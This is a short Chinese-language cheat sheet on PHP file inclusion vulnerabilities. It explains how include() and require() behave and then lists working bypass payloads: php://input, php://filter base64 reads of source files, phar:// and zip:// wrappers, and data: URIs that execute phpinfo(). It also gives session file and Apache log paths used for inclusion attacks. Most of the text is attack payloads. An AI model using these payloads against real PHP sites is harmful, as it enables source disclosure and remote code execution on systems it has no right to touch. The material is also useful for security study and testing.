相关函数
php中引发文件包含漏洞的通常是以下四个函数:
– include()
– include_once()
– require()
– require_once()
reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。
include() 如果出错的话,只会提出警告,会继续执行后续语句。
require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。
当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。
文件包含的各种绕过
php://input
?file=php://input
php://filter
?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=index.php
phar://
绝对路径
?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
相对路径
?file=phar://test.zip/phpinfo.txt
zip://
读取zip内文件
?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23phpinfo.txt
data:URI schema
?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8
包含session
常见的php-session存放位置:
– /var/lib/php/sess_PHPSESSID
– /var/lib/php/sess_PHPSESSID
– /tmp/sess_PHPSESSID
– /tmp/sessions/sess_PHPSESSID
session的文件名格式为sess_[PHPSESSID],PHPSESSID在cookie里
包含日志
访问日志
/var/log/apache2/access.log
/var/log/apache2/error.log